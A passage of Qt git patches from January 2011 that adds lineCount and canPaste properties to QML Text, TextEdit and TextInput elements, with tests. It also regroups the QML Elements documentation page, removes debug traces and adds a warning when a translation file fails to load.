+79,8 @@ private slots: void embeddedImages_data(); void embeddedImages(); + void lineCount(); + // ### these tests may be trivial void horizontalAlignment(); void verticalAlignment(); @@ -1020,6 +1023,33 @@ void tst_qdeclarativetext::embeddedImages() } } +void tst_qdeclarativetext::lineCount() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/lineCount.qml"); + + QDeclarativeText *myText = canvas->rootObject()->findChild("myText"); + QVERIFY(myText != 0); + + QVERIFY(myText->lineCount() > 1); + QVERIFY(!myText->truncated()); + QCOMPARE(myText->maximumLineCount(), INT_MAX); + + myText->setMaximumLineCount(2); + QCOMPARE(myText->lineCount(), 2); + QCOMPARE(myText->truncated(), true); + QCOMPARE(myText->maximumLineCount(), 2); + + myText->resetMaximumLineCount(); + QCOMPARE(myText->maximumLineCount(), INT_MAX); + QCOMPARE(myText->truncated(), false); + + myText->setElideMode(QDeclarativeText::ElideRight); + myText->setMaximumLineCount(2); + QCOMPARE(myText->lineCount(), 2); + QCOMPARE(myText->truncated(), true); + QCOMPARE(myText->maximumLineCount(), 2); +} + QTEST_MAIN(tst_qdeclarativetext) #include "tst_qdeclarativetext.moc" -- cgit v0.12 From 82c0594ef35dbe9520da2f5e0900385c68f1cba5 Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Fri, 14 Jan 2011 15:05:35 +1000 Subject: Add lineCount property to QDeclarativeTextEdit The lineCount property should return the number of lines contained in textEdit. Also corrected minor documentation in Text Task-number: QTBUG-12305 Reviewed-by: Michael Brasser --- src/declarative/graphicsitems/qdeclarativetext.cpp | 2 +- .../graphicsitems/qdeclarativetextedit.cpp | 33 ++++++++++++++++++++++ .../graphicsitems/qdeclarativetextedit_p.h | 5 ++++ .../graphicsitems/qdeclarativetextedit_p_p.h | 1 + 4 files changed, 40 insertions(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp index d61342e..3911d65 100644 --- a/src/declarative/graphicsitems/qdeclarativetext.cpp +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp @@ -1073,7 +1073,7 @@ int QDeclarativeText::lineCount() const /*! \qmlproperty bool Text::truncated - Returns if the text has been truncated due to \l maximumLineCount + Returns true if the text has been truncated due to \l maximumLineCount or \l elide. This property is not supported for rich text. diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index c1c7a0c..1539998 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -51,6 +51,7 @@ #include #include #include +#include #include #include #include @@ -527,6 +528,17 @@ void QDeclarativeTextEdit::setWrapMode(WrapMode mode) } /*! + \qmlproperty int TextEdit::lineCount + + Returns the total number of lines in the textEdit item. +*/ +int QDeclarativeTextEdit::lineCount() const +{ + Q_D(const QDeclarativeTextEdit); + return d->lineCount; +} + +/*! \qmlproperty real TextEdit::paintedWidth Returns the width of the text, including the width past the width @@ -1376,6 +1388,7 @@ void QDeclarativeTextEdit::q_textChanged() Q_D(QDeclarativeTextEdit); d->text = text(); updateSize(); + updateTotalLines(); updateMicroFocus(); emit textChanged(d->text); } @@ -1487,6 +1500,26 @@ void QDeclarativeTextEdit::updateSize() emit update(); } +void QDeclarativeTextEdit::updateTotalLines() +{ + Q_D(QDeclarativeTextEdit); + + int subLines = 0; + + for (QTextBlock it = d->document->begin(); it != d->document->end(); it = it.next()) { + QTextLayout *layout = it.layout(); + if (!layout) + continue; + subLines += layout->lineCount()-1; + } + + int newTotalLines = d->document->lineCount() + subLines; + if (d->lineCount != newTotalLines) { + d->lineCount = newTotalLines; + emit lineCountChanged(); + } +} + void QDeclarativeTextEditPrivate::updateDefaultTextOption() { QTextOption opt = document->defaultTextOption(); diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 3e86a05..928d100 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -75,6 +75,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign NOTIFY horizontalAlignmentChanged) Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged) Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged) + Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged) Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged) Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged) Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged) @@ -156,6 +157,8 @@ public: WrapMode wrapMode() const; void setWrapMode(WrapMode w); + int lineCount() const; + bool isCursorVisible() const; void setCursorVisible(bool on); @@ -220,6 +223,7 @@ Q_SIGNALS: void horizontalAlignmentChanged(HAlignment alignment); void verticalAlignmentChanged(VAlignment alignment); void wrapModeChanged(); + void lineCountChanged(); void textFormatChanged(TextFormat textFormat); void readOnlyChanged(bool isReadOnly); void cursorVisibleChanged(bool isCursorVisible); @@ -250,6 +254,7 @@ private Q_SLOTS: private: void updateSize(); + void updateTotalLines(); protected: virtual void geometryChanged(const QRectF &newGeometry, diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h index 4092e65..45d342f 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h @@ -118,6 +118,7 @@ public: QTextDocument *document; QTextControl *control; QDeclarativeTextEdit::WrapMode wrapMode; + int lineCount; bool selectByMouse; int yoff; }; -- cgit v0.12 From 8a0cee48afcc72361785a0cc1f68cf3f3bcbb564 Mon Sep 17 00:00:00 2001 From: Jerome Pasion Date: Fri, 14 Jan 2011 14:21:17 +0100 Subject: Changed the QML Elements page groupings. Task-number: QTBUG-16071 Reviewed-by: David Boddie --- doc/src/declarative/elements.qdoc | 269 ++++++++++++++++++++++---------------- 1 file changed, 156 insertions(+), 113 deletions(-) diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc index eaa6a82..698a277 100644 --- a/doc/src/declarative/elements.qdoc +++ b/doc/src/declarative/elements.qdoc @@ -29,118 +29,161 @@ \page qdeclarativeelements.html \target elements \title QML Elements - \brief A dictionary of standard QML elements. - - This is a dictionary of all standard QML elements made available - in the Qt Declarative module. - - To see the QML elements listed by functional area, see the - \l{Groups Of Related QML Elements} page. - - \table - \header \o {2,1} \bold {Basic Visual Items} - \row \o \l {Item} \o Basic item element inherited by all visual items in QML - \row \o \l {Rectangle} \o Basic visual rectangle element - \row \o \l {Gradient} \o Defines a gradient between two or more colors - \row \o \l {GradientStop} \o Defines a color used in a \l {Gradient} - \row \o \l {Image} \o Allows the use of bitmaps to a scene - \row \o \l {BorderImage} (Item-specific) \o Defines an image as a border - \row \o \l {AnimatedImage} \o For playing animations stored as a series of frames - \row \o \l {Text} \o Allows the use of formatted text in a scene - \row \o \l {TextInput} \o Displays an editable line of text - \row \o \l {IntValidator} \o Validator for integer values - \row \o \l {DoubleValidator} \o Validator for non-integer values - \row \o \l {RegExpValidator} \o Validator for string regular expressions - \row \o \l {TextEdit} \o Displays multiple lines of editable formatted text - - \header \o {2,1} \bold {Basic Interaction Items} - \row \o \l {MouseArea} \o Handles mouse interactions - \row \o \l {FocusScope} \o For keyboard focus handling - \row \o \l {Flickable} \o Provides a surface that can be "flicked" - \row \o \l {Flipable} \o Provides a surface that produces flipping effects - \row \o \l {GestureArea} (experimental) \o Enables simple gesture handling - - \header \o {2,1} \bold {States} - \row \o \l {State} \o Defines sets of configurations of objects and properties - \row \o \l {PropertyChanges} \o Describes property changes within a state - \row \o \l {StateGroup} \o Contains a set of states and state transitions - \row \o \l {StateChangeScript} \o Allows script binding in a state - \row \o \l {ParentChange} (Item-specific) \o Re-parent an Item in a state change - \row \o \l {AnchorChanges} \o Change the anchors of an item in a state - - \header \o {2,1} \bold {Animation and Transitions} - \row \o \l {Behavior} \o Specifies a default animation for property changes - \row \o \l {SequentialAnimation} \o Runs animations sequentially - \row \o \l {ParallelAnimation} \o Runs animations in parallel - \row \o \l {PropertyAnimation} \o Animates property changes - \row \o \l {NumberAnimation} \o Animates properties of type qreal - \row \o \l {Vector3dAnimation} \o Animates properties of type QVector3d - \row \o \l {ColorAnimation} \o Animates color changes - \row \o \l {RotationAnimation} \o Animates rotations - \row \o \l {ParentAnimation} \o Animates parent changes - \row \o \l {AnchorAnimation} \o Animates anchor changes - \row \o \l {PauseAnimation} \o Pauses an animation - \row \o \l {SmoothedAnimation} \o Allows a property to smoothly track a value - \row \o \l {SpringAnimation} \o Allows a property to track a value in a spring-like motion - \row \o \l {PropertyAction} \o Sets immediate property changes during animation - \row \o \l {ScriptAction} \o Runs scripts during an animation - \row \o \l {Transition} \o Animates transitions during state changes - - \header \o {2,1} \bold {Working with Data} - \row \o \l {Binding} \o Binds any value to any property - \row \o \l {ListModel} \o Defines a list of data - \row \o \l {ListElement} \o Defines a data item in a \l {ListModel} - \row \o \l {VisualItemModel} \o Contains items that already defines its own visual delegate - \row \o \l {VisualDataModel} \o Encapsulates a model and a delegate - \row \o \l {Package} \o Collection that enables sharing of items within different views - \row \o \l {XmlListModel} \o Specifies a model using XPath expressions - \row \o \l {XmlRole} \o Specifies a role for an \l {XmlListModel} - - \header \o {2,1} \bold {Views} - \row \o \l {ListView} \o Provides a list visualization of a model - \row \o \l {GridView} \o Provides a grid visualization of a model - \row \o \l {PathView} \o Visualizes a model's contents along a path - \row \o \l {Path} \o Defines a path used by \l {PathView} - \row \o \l {PathLine} \o Defines a line in \l {Path} - \row \o \l {PathQuad} \o Defines a quadratic Bezier curve in a \l {Path} - \row \o \l {PathCubic} \o Defines a cubic Bezier curve in a \l {Path} - \row \o \l {PathAttribute} \o Allows the setting of attributes along a \l {Path} - \row \o \l {PathPercent} \o Modifies the item distribution along a \l {Path} - \row \o \l {WebView} \o Allows the addition of web content to a canvas - - \header \o {2,1} \bold {Positioners} - \row \o \l {Column} \o Arranges its children vertically - \row \o \l {Row} \o Arranges its children horizontally - \row \o \l {Grid} \o Positions its children in a grid - \row \o \l {Flow} \o Positions its children with wrapping support - - \header \o {2,1} \bold {Utility} - \row \o \l {Connections} \o Explicitly connects signals and signal handlers - \row \o \l {Component} \o Encapsulate QML items as a component - \row \o \l {Timer} \o Provides timed triggers - \row \o \l {QML:QtObject} {QtObject} \o Basic element containing only the objectName property - \row \o \l {QML:Qt} {Qt} \o The QML global Qt object provides useful enums and functions from Qt. - \row \o \l {WorkerScript} \o Enables the use of threads in QML - \row \o \l {Loader} \o Controls the loading of items or components - \row \o \l {Repeater} \o Uses a model to create multiples of components - \row \o \l {SystemPalette} \o Provides access to the Qt palettes - \row \o \l {FontLoader} \o Loads fonts by name or URL - \row \o \l {LayoutItem} \o Allows declarative UI elements inside Qt's Graphics View layouts - - \header \o {2,1} \bold {Transforms} - \row \o \l {Scale} \o Assigns item scaling behaviors - \row \o \l {Rotation} \o Assigns item rotation behaviors - \row \o \l {Translate} \o Assigns item translation behaviors - - \header \o {2,1} \bold {Effects} - \row \o \l {Particles} (experimental) \o Generates and animates particles - \row \o \l {ParticleMotionLinear} \o Adds linear motion behavior to \l {Particles} - \row \o \l {ParticleMotionGravity} \o Adds gravitational motion to \l {Particles} - \row \o \l {ParticleMotionWander} \o Adds varied motions to \l {Particles} - \endtable - - - + \brief A listing of standard QML elements. + +These are the functionally grouped lists of QML elements. + +Elements are declared with the their name and two curly braces. Elements may +be nested in elements, thereby creating a parent-child relationship between the +two elements. + +To see the QML elements listed by functional area, see the +\l{Groups Of Related QML Elements} page. + +\section1 Basic QML Elements +\list +\o \l {Item} - Basic item element inherited by QML elements +\o \l {Component} - Encapsulates QML elements during importing +\o \l {QML:QtObject} {QtObject} - Basic element containing only the objectName property +\endlist + +\section1 Graphics +\list +\o \l {Rectangle} - A rectangle element +\o \l {Image} - For incorporating bitmaps into a scene +\o \l {BorderImage} - Allows the use of images as borders +\o \l {AnimatedImage} - For playing animations stored in a series of frames +\o \l {Gradient} - For defining a color gradient +\o \l {GradientStop} - Used to define a color within a \l {Gradient} +\o \l {SystemPalette} - Provides access to the Qt palettes +\endlist + +\section1 Text Handling +\list +\o \l {Text} - For inserting formatted text into a scene +\o \l {TextInput} - Captures user key input +\o \l {TextEdit} - Displays multiple lines of editable formatted text +\o \l {IntValidator} - Validates values as integers +\o \l {DoubleValidator} - Validates real values +\o \l {RegExpValidator} - Validator for string regular expressions +\o \l {FontLoader} - Loads fonts by name or URL +\endlist + +\section1 Mouse and Interaction Area +\list +\o \l {MouseArea} - Sets up an area for mouse interaction +\o \l {Keys} - Provides components with attached properties to handle key input. +\o \l {FocusScope} - Element that mediate keyboard focus changes +\o \l {Flickable} - Provides a surface that can be "flicked" +\o \l {Flipable} - Provides a surface that produces "flipping" effects +\o \l {GestureArea} - Enables simple gesture handling +\endlist + +\section1 Positioners and Repeater +\list +\o \l {Column} - Arranges its children vertically +\o \l {Row} - Arranges its children horizontally +\o \l {Grid} - Positions its children in a grid +\o \l {Flow} - Positions its children with wrapping support +\o \l {Repeater} - Uses a model to create multiple components +\endlist + +\section1 Transformations +\list +\o \l {Scale} - Assigns item scaling behaviors +\o \l {Rotation} - Assigns item rotation behaviors +\o \l {Translate} - Assigns item translation behaviors +\endlist + +\section1 States +\list +\o \l {State} - Defines sets of configurations of objects and properties +\o \l {PropertyChanges} - Describes property changes within a state +\o \l {StateGroup} - Contains a set of states and state transitions +\o \l {StateChangeScript} - Allows script binding in a state +\o \l {ParentChange} - Re-parent an Item in a state change +\o \l {AnchorChanges} - Change the anchors of an item in a state +\endlist + +\section1 Animation and Transitions +\list +\o \l {Transition} - Animates transitions during state changes +\o \l {SequentialAnimation} - Runs animations sequentially +\o \l {ParallelAnimation} - Runs animations in parallel +\o \l {Behavior} - Specifies a default animation for property changes +\o \l {PropertyAction} - Sets immediate property changes during animation +\o \l {PauseAnimation} - Introduces a pause in an animation +\o \l {SmoothedAnimation} - Allows a property to smoothly track a value +\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion +\o \l {ScriptAction} - Runs scripts during an animation +\endlist + +Elements that animate properties based on data types +\list +\o \l {PropertyAnimation} - Animates property changes +\o \l {NumberAnimation} - Animates properties of type qreal +\o \l {Vector3dAnimation} - Animates properties of type QVector3d +\o \l {ColorAnimation} - Animates color changes +\o \l {RotationAnimation} - Animates rotations +\o \l {ParentAnimation} - Animates parent changes +\o \l {AnchorAnimation} - Animates anchor changes +\endlist + +\section1 Models and Data Handling +\list +\o \l {ListModel} - Defines a list of data +\o \l {ListElement} - Defines a data item in a \l {ListModel} +\o \l {VisualItemModel} - Contains items that already defines its own visual delegate +\o \l {VisualDataModel} - Encapsulates a model and a delegate +\o \l {XmlListModel} - Specifies a model using XPath expressions +\o \l {XmlRole} - Specifies a role for an \l {XmlListModel} +\o \l {Binding} - Binds any value to any property +\o \l {Package} - Collection that enables sharing of items within different views +\endlist + +\section1 Views +\list +\o \l {ListView} - Provides a list visualization of a model +\o \l {GridView} - Provides a grid visualization of a model +\o \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information. +\endlist + +\section1 Path Definition +\list +\o \l {Path} - Defines a path used by \l {PathView} +\o \l {PathLine} - Defines a line in \l {Path} +\o \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path} +\o \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path} +\o \l {PathAttribute} - Allows the setting of attributes along a \l {Path} +\o \l {PathPercent} - Modifies the item distribution along a \l {Path} +\endlist + +\section1 Utility +\list +\o \l {Connections} - Explicitly connects signals and signal handlers +\o \l {Timer} - Provides timed triggers +\o \l {QML:Qt} {Qt} - The QML global Qt object provides useful enums and functions from Qt. +\o \l {WorkerScript} - Enables the use of threads in QML +\o \l {Loader} - Controls the loading of items or components +\o \l {LayoutItem} - Allows declarative UI elements inside Qt's Graphics View layouts +\endlist + +\section1 Graphical Effects +\list +\o \l {Particles} - Generates and animates particles +\o \l {ParticleMotionLinear} - Adds linear motion behavior to \l {Particles} +\o \l {ParticleMotionGravity} - Adds gravitational motion to \l {Particles} +\o \l {ParticleMotionWander} - Adds varied motions to \l {Particles} +\endlist + +\section1 Add-On Elements +These elements are not included in the \c{QtQuick 1.0} module. Their respective QML bindings +should first be obtained and installed. +\list +\o \l{WebView}{QtWebKit QML Module - WebView Element} - For displaying Web contents +\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins} +\endlist + */ @@ -148,7 +191,7 @@ \group qml-groups \title Groups Of Related QML Elements - \brief If you know what kind of QML element you want (Basic Visual, + \brief If you know what kind of QML element you want (Basic Visual, Interaction, Animation, etc), look here. This is a list of functional groups of QML elements. -- cgit v0.12 From 0dbb193973aa25f61bc541f4e7938deeaade2e75 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 17 Jan 2011 11:03:34 +1000 Subject: Remove unnecessary debug traces from declarative classes Task-number: Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativelistview.cpp | 1 - tools/qml/qmlruntime.cpp | 1 - 2 files changed, 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 470f947..0fe5fb4 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -2566,7 +2566,6 @@ void QDeclarativeListViewPrivate::positionViewAtIndex(int index, int mode) return; if (mode < QDeclarativeListView::Beginning || mode > QDeclarativeListView::Contain) return; -qDebug() << "positionViewAtIndex"; int idx = qMax(qMin(index, model->count()-1), 0); if (layoutScheduled) diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp index b829528..31bb73b 100644 --- a/tools/qml/qmlruntime.cpp +++ b/tools/qml/qmlruntime.cpp @@ -586,7 +586,6 @@ QNetworkAccessManager *NetworkAccessManagerFactory::create(QObject *parent) } connect(manager, SIGNAL(destroyed(QObject*)), this, SLOT(managerDestroyed(QObject*))); namList.append(manager); - qDebug() << "created new network access manager for" << parent; return manager; } -- cgit v0.12 From 62087b2ec0afad240d61a61c7a2972d021e01695 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 17 Jan 2011 11:04:51 +1000 Subject: Add a warning when translating QML application in qmlviewer fails Task-number: Reviewed-by: Martin Jones --- tools/qml/main.cpp | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/tools/qml/main.cpp b/tools/qml/main.cpp index b5a4fd0..89f2f5e 100644 --- a/tools/qml/main.cpp +++ b/tools/qml/main.cpp @@ -550,8 +550,11 @@ int main(int argc, char ** argv) QTranslator qmlTranslator; if (!opts.translationFile.isEmpty()) { - qmlTranslator.load(opts.translationFile); - app.installTranslator(&qmlTranslator); + if (qmlTranslator.load(opts.translationFile)) { + app.installTranslator(&qmlTranslator); + } else { + qWarning() << "Could not load the translation file" << opts.translationFile; + } } if (opts.fullScreen && opts.maximized) -- cgit v0.12 From 8b6674e55118896dfecbcdc1960418dc2064f632 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Mon, 17 Jan 2011 14:07:33 +1000 Subject: Add canPaste property to TextInput and TextEdit Task-number: QTBUG-16190 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativetextedit.cpp | 28 ++++++++++++++++++++++ .../graphicsitems/qdeclarativetextedit_p.h | 5 ++++ .../graphicsitems/qdeclarativetextedit_p_p.h | 3 ++- .../graphicsitems/qdeclarativetextinput.cpp | 26 +++++++++++++++++++- .../graphicsitems/qdeclarativetextinput_p.h | 4 ++++ .../graphicsitems/qdeclarativetextinput_p_p.h | 3 ++- .../tst_qdeclarativetextedit.cpp | 8 +++++++ .../tst_qdeclarativetextinput.cpp | 9 +++++++ 8 files changed, 83 insertions(+), 3 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 1539998..4a421b4 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -1342,6 +1342,21 @@ void QDeclarativeTextEdit::updateImgCache(const QRectF &rf) filtering at the beginning of the animation and reenable it at the conclusion. */ +/*! + \qmlproperty bool TextEdit::canPaste + + Returns true if the TextEdit is writable and the content of the clipboard is + suitable for pasting into the TextEdit. + + \since QtQuick 1.1 +*/ + +bool QDeclarativeTextEdit::canPaste() const +{ + Q_D(const QDeclarativeTextEdit); + return d->canPaste; +} + void QDeclarativeTextEditPrivate::init() { Q_Q(QDeclarativeTextEdit); @@ -1374,6 +1389,10 @@ void QDeclarativeTextEditPrivate::init() QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorPositionChanged())); QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorRectangleChanged())); QObject::connect(control, SIGNAL(linkActivated(QString)), q, SIGNAL(linkActivated(QString))); +#ifndef QT_NO_CLIPBOARD + QObject::connect(q, SIGNAL(readOnlyChanged(bool)), q, SLOT(q_canPasteChanged())); + QObject::connect(QApplication::clipboard(), SIGNAL(dataChanged()), q, SLOT(q_canPasteChanged())); +#endif document = control->document(); document->setDefaultFont(font); @@ -1648,4 +1667,13 @@ void QDeclarativeTextEdit::focusInEvent(QFocusEvent *event) QDeclarativePaintedItem::focusInEvent(event); } +void QDeclarativeTextEdit::q_canPasteChanged() +{ + Q_D(QDeclarativeTextEdit); + bool old = d->canPaste; + d->canPaste = d->control->canPaste(); + if(old!=d->canPaste) + emit canPasteChanged(); +} + QT_END_NAMESPACE diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 928d100..f28763e 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -92,6 +92,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem Q_PROPERTY(qreal textMargin READ textMargin WRITE setTextMargin NOTIFY textMarginChanged) Q_PROPERTY(Qt::InputMethodHints inputMethodHints READ inputMethodHints WRITE setInputMethodHints) Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged) + Q_REVISION(1) Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged) public: QDeclarativeTextEdit(QDeclarativeItem *parent=0); @@ -185,6 +186,8 @@ public: bool selectByMouse() const; void setSelectByMouse(bool); + bool canPaste() const; + virtual void componentComplete(); /* FROM EDIT */ @@ -233,6 +236,7 @@ Q_SIGNALS: void textMarginChanged(qreal textMargin); void selectByMouseChanged(bool selectByMouse); Q_REVISION(1) void linkActivated(const QString &link); + Q_REVISION(1) void canPasteChanged(); public Q_SLOTS: void selectAll(); @@ -251,6 +255,7 @@ private Q_SLOTS: void updateSelectionMarkers(); void moveCursorDelegate(); void loadCursorDelegate(); + void q_canPasteChanged(); private: void updateSize(); diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h index 45d342f..6da91df 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h @@ -73,7 +73,7 @@ public: showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), textMargin(0.0), lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0), format(QDeclarativeTextEdit::AutoText), document(0), wrapMode(QDeclarativeTextEdit::NoWrap), - selectByMouse(false), + selectByMouse(false), canPaste(false), yoff(0) { #ifdef Q_OS_SYMBIAN @@ -120,6 +120,7 @@ public: QDeclarativeTextEdit::WrapMode wrapMode; int lineCount; bool selectByMouse; + bool canPaste; int yoff; }; diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 491d219c4..bfdcc9b 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -1222,7 +1222,8 @@ void QDeclarativeTextInput::copy() void QDeclarativeTextInput::paste() { Q_D(QDeclarativeTextInput); - d->control->paste(); + if(!d->control->isReadOnly()) + d->control->paste(); } #endif // QT_NO_CLIPBOARD @@ -1321,6 +1322,12 @@ void QDeclarativeTextInput::setSelectByMouse(bool on) } } +bool QDeclarativeTextInput::canPaste() const +{ + Q_D(const QDeclarativeTextInput); + return d->canPaste; +} + void QDeclarativeTextInput::moveCursorSelection(int position) { Q_D(QDeclarativeTextInput); @@ -1569,6 +1576,12 @@ void QDeclarativeTextInputPrivate::init() q, SIGNAL(accepted())); q->connect(control, SIGNAL(updateNeeded(QRect)), q, SLOT(updateRect(QRect))); +#ifndef QT_NO_CLIPBOARD + q->connect(q, SIGNAL(readOnlyChanged(bool)), + q, SLOT(q_canPasteChanged())); + q->connect(QApplication::clipboard(), SIGNAL(dataChanged()), + q, SLOT(q_canPasteChanged())); +#endif // QT_NO_CLIPBOARD q->updateSize(); oldValidity = control->hasAcceptableInput(); lastSelectionStart = 0; @@ -1670,6 +1683,17 @@ void QDeclarativeTextInput::updateSize(bool needsRedraw) } } +void QDeclarativeTextInput::q_canPasteChanged() +{ + Q_D(QDeclarativeTextInput); + bool old = d->canPaste; +#ifndef QT_NO_CLIPBOARD + d->canPaste = !d->control->isReadOnly() && QApplication::clipboard()->text().length() != 0; +#endif + if(d->canPaste != old) + emit canPasteChanged(); +} + QT_END_NAMESPACE #endif // QT_NO_LINEEDIT diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h index 5bff2ea..582e626 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h @@ -95,6 +95,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativePaintedItem Q_PROPERTY(QString displayText READ displayText NOTIFY displayTextChanged) Q_PROPERTY(bool autoScroll READ autoScroll WRITE setAutoScroll NOTIFY autoScrollChanged) Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged) + Q_REVISION(1) Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged) public: QDeclarativeTextInput(QDeclarativeItem* parent=0); @@ -197,6 +198,7 @@ public: QVariant inputMethodQuery(Qt::InputMethodQuery property) const; QRectF boundingRect() const; + bool canPaste() const; Q_SIGNALS: void textChanged(); @@ -223,6 +225,7 @@ Q_SIGNALS: void activeFocusOnPressChanged(bool activeFocusOnPress); void autoScrollChanged(bool autoScroll); void selectByMouseChanged(bool selectByMouse); + Q_REVISION(1) void canPasteChanged(); protected: virtual void geometryChanged(const QRectF &newGeometry, @@ -256,6 +259,7 @@ private Q_SLOTS: void moveCursor(); void cursorPosChanged(); void updateRect(const QRect &r = QRect()); + void q_canPasteChanged(); private: Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeTextInput) diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h index 5ad6a3b..a3853c3 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h @@ -75,7 +75,7 @@ public: styleColor((QRgb)0), hAlign(QDeclarativeTextInput::AlignLeft), hscroll(0), oldScroll(0), focused(false), focusOnPress(true), showInputPanelOnFocus(true), clickCausedFocus(false), cursorVisible(false), - autoScroll(true), selectByMouse(false) + autoScroll(true), selectByMouse(false), canPaste(false) { #ifdef Q_OS_SYMBIAN if (QSysInfo::symbianVersion() == QSysInfo::SV_SF_1 || QSysInfo::symbianVersion() == QSysInfo::SV_SF_3) { @@ -130,6 +130,7 @@ public: bool cursorVisible; bool autoScroll; bool selectByMouse; + bool canPaste; }; QT_END_NAMESPACE diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp index 649d34f..7578042 100644 --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp @@ -1111,10 +1111,18 @@ void tst_qdeclarativetextedit::copyAndPaste() { QCOMPARE(textEdit->selectedText(), QString("Hello world!")); QCOMPARE(textEdit->selectedText().length(), 12); textEdit->setCursorPosition(0); + QVERIFY(textEdit->canPaste()); textEdit->paste(); QCOMPARE(textEdit->text(), QString("Hello world!Hello world!")); QCOMPARE(textEdit->text().length(), 24); + // canPaste + QVERIFY(textEdit->canPaste()); + textEdit->setReadOnly(true); + QVERIFY(!textEdit->canPaste()); + textEdit->setReadOnly(false); + QVERIFY(textEdit->canPaste()); + // QTBUG-12339 // test that document and internal text attribute are in sync QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(textEdit); diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp 